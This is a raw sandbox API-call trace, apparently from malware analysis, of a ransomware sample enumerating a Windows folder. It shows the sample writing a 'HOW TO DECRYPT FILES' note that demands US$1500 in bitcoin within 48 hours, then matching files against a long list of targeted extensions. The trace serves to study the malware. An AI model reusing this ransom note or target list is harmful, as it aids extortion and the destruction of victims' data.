1 [0099.577] lstrcmpA (lpString1=".", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0099.577] lstrcmpA (lpString1="..", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0099.577] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\*.*") returned="*.*" [0099.578] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\", lpString2="6.1.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35" [0099.578] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0099.831] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.831] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.840] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.840] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.840] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb5b7205, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0xacec9500, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xac41f505, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", cAlternateFileName="")) returned 1 [0099.840] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0099.840] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll") returned -1 [0099.846] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll") returned -1 [0099.846] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll") returned -1 [0099.846] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0099.846] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\" [0099.854] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\") returned="" [0099.860] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0099.860] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.commands.getdiaginput\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0099.878] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.commands.getdiaginput\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0099.882] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0099.882] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0099.886] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0099.886] CloseHandle (hObject=0x90) returned 1 [0099.886] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll" [0099.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.ems") returned 0 [0099.886] lstrlenA (lpString="*.ems") returned 5 [0099.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.db") returned 0 [0099.886] lstrlenA (lpString="*.db") returned 4 [0099.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.dbf") returned 0 [0099.886] lstrlenA (lpString="*.dbf") returned 5 [0099.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.myox") returned 0 [0099.887] lstrlenA (lpString="*.myox") returned 6 [0099.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.myo") returned 0 [0099.887] lstrlenA (lpString="*.myo") returned 5 [0099.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.qbw") returned 0 [0099.887] lstrlenA (lpString="*.qbw") returned 5 [0099.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.qbb") returned 0 [0099.887] lstrlenA (lpString="*.qbb") returned 5 [0099.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.qbm") returned 0 [0099.887] lstrlenA (lpString="*.qbm") returned 5 [0099.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.qbo") returned 0 [0099.887] lstrlenA (lpString="*.qbo") returned 5 [0099.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.qbx") returned 0 [0099.887] lstrlenA (lpString="*.qbx") returned 5 [0099.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.qba") returned 0 [0099.887] lstrlenA (lpString="*.qba") returned 5 [0099.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.qby") returned 0 [0099.887] lstrlenA (lpString="*.qby") returned 5 [0099.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.qbj") returned 0 [0099.888] lstrlenA (lpString="*.qbj") returned 5 [0099.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.ofx") returned 0 [0099.888] lstrlenA (lpString="*.ofx") returned 5 [0099.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.qif") returned 0 [0099.888] lstrlenA (lpString="*.qif") returned 5 [0099.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.mye") returned 0 [0099.888] lstrlenA (lpString="*.mye") returned 5 [0099.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.mbox") returned 0 [0099.888] lstrlenA (lpString="*.mbox") returned 6 [0099.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.eml") returned 0 [0099.888] lstrlenA (lpString="*.eml") returned 5 [0099.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.pst") returned 0 [0099.888] lstrlenA (lpString="*.pst") returned 5 [0099.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.ost") returned 0 [0099.888] lstrlenA (lpString="*.ost") returned 5 [0099.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.idx") returned 0 [0099.888] lstrlenA (lpString="*.idx") returned 5 [0099.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.dbx") returned 0 [0099.888] lstrlenA (lpString="*.dbx") returned 5 [0099.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.sql") returned 0 [0099.889] lstrlenA (lpString="*.sql") returned 5 [0099.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.mdb") returned 0 [0099.889] lstrlenA (lpString="*.mdb") returned 5 [0099.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.fdb") returned 0 [0099.889] lstrlenA (lpString="*.fdb") returned 5 [0099.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.wab") returned 0 [0099.889] lstrlenA (lpString="*.wab") returned 5 [0099.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.dat") returned 0 [0099.889] lstrlenA (lpString="*.dat") returned 5 [0099.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.txt") returned 0 [0099.889] lstrlenA (lpString="*.txt") returned 5 [0099.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.jpeg") returned 0 [0099.889] lstrlenA (lpString="*.jpeg") returned 6 [0099.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.jpg") returned 0 [0099.889] lstrlenA (lpString="*.jpg") returned 5 [0099.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.png") returned 0 [0099.889] lstrlenA (lpString="*.png") returned 5 [0099.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.php") returned 0 [0099.889] lstrlenA (lpString="*.php") returned 5 [0099.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.cs") returned 0 [0099.890] lstrlenA (lpString="*.cs") returned 4 [0099.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.cpp") returned 0 [0099.890] lstrlenA (lpString="*.cpp") returned 5 [0099.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.rar") returned 0 [0099.890] lstrlenA (lpString="*.rar") returned 5 [0099.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.zip") returned 0 [0099.890] lstrlenA (lpString="*.zip") returned 5 [0099.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.html") returned 0 [0099.890] lstrlenA (lpString="*.html") returned 6 [0099.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.htm") returned 0 [0099.890] lstrlenA (lpString="*.htm") returned 5 [0099.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.xlsx") returned 0 [0099.890] lstrlenA (lpString="*.xlsx") returned 6 [0099.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.xls") returned 0 [0099.890] lstrlenA (lpString="*.xls") returned 5 [0099.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.mp4") returned 0 [0099.890] lstrlenA (lpString="*.mp4") returned 5 [0099.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.ppt") returned 0 [0099.891] lstrlenA (lpString="*.ppt") returned 5 [0099.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.pptx") returned 0 [0099.891] lstrlenA (lpString="*.pptx") returned 6 [0099.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.doc") returned 0 [0099.891] lstrlenA (lpString="*.doc") returned 5 [0099.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.dot") returned 0 [0099.891] lstrlenA (lpString="*.dot") returned 5 [0099.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.docx") returned 0 [0099.891] lstrlenA (lpString="*.docx") returned 6 [0099.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.7z") returned 0 [0099.891] lstrlenA (lpString="*.7z") returned 4 [0099.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.tar") returned 0 [0099.891] lstrlenA (lpString="*.tar") returned 5 [0099.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.bz2") returned 0 [0099.891] lstrlenA (lpString="*.bz2") returned 5 [0099.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.gz") returned 0 [0099.891] lstrlenA (lpString="*.gz") returned 4 [0099.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.mkv") returned 0 [0099.891] lstrlenA (lpString="*.mkv") returned 5 [0099.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.eml") returned 0 [0099.892] lstrlenA (lpString="*.eml") returned 5 [0099.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.msg") returned 0 [0099.892] lstrlenA (lpString="*.msg") returned 5 [0099.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.edb") returned 0 [0099.892] lstrlenA (lpString="*.edb") returned 5 [0099.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.accdb") returned 0 [0099.892] lstrlenA (lpString="*.accdb") returned 7 [0099.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.odb") returned 0 [0099.892] lstrlenA (lpString="*.odb") returned 5 [0099.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.java") returned 0 [0099.892] lstrlenA (lpString="*.java") returned 6 [0099.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.asm") returned 0 [0099.892] lstrlenA (lpString="*.asm") returned 5 [0099.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.pfx") returned 0 [0099.892] lstrlenA (lpString="*.pfx") returned 5 [0099.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.pem") returned 0 [0099.892] lstrlenA (lpString="*.pem") returned 5 [0099.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.p12") returned 0 [0099.892] lstrlenA (lpString="*.p12") returned 5 [0099.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.gpg") returned 0 [0099.893] lstrlenA (lpString="*.gpg") returned 5 [0099.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.vsd") returned 0 [0099.893] lstrlenA (lpString="*.vsd") 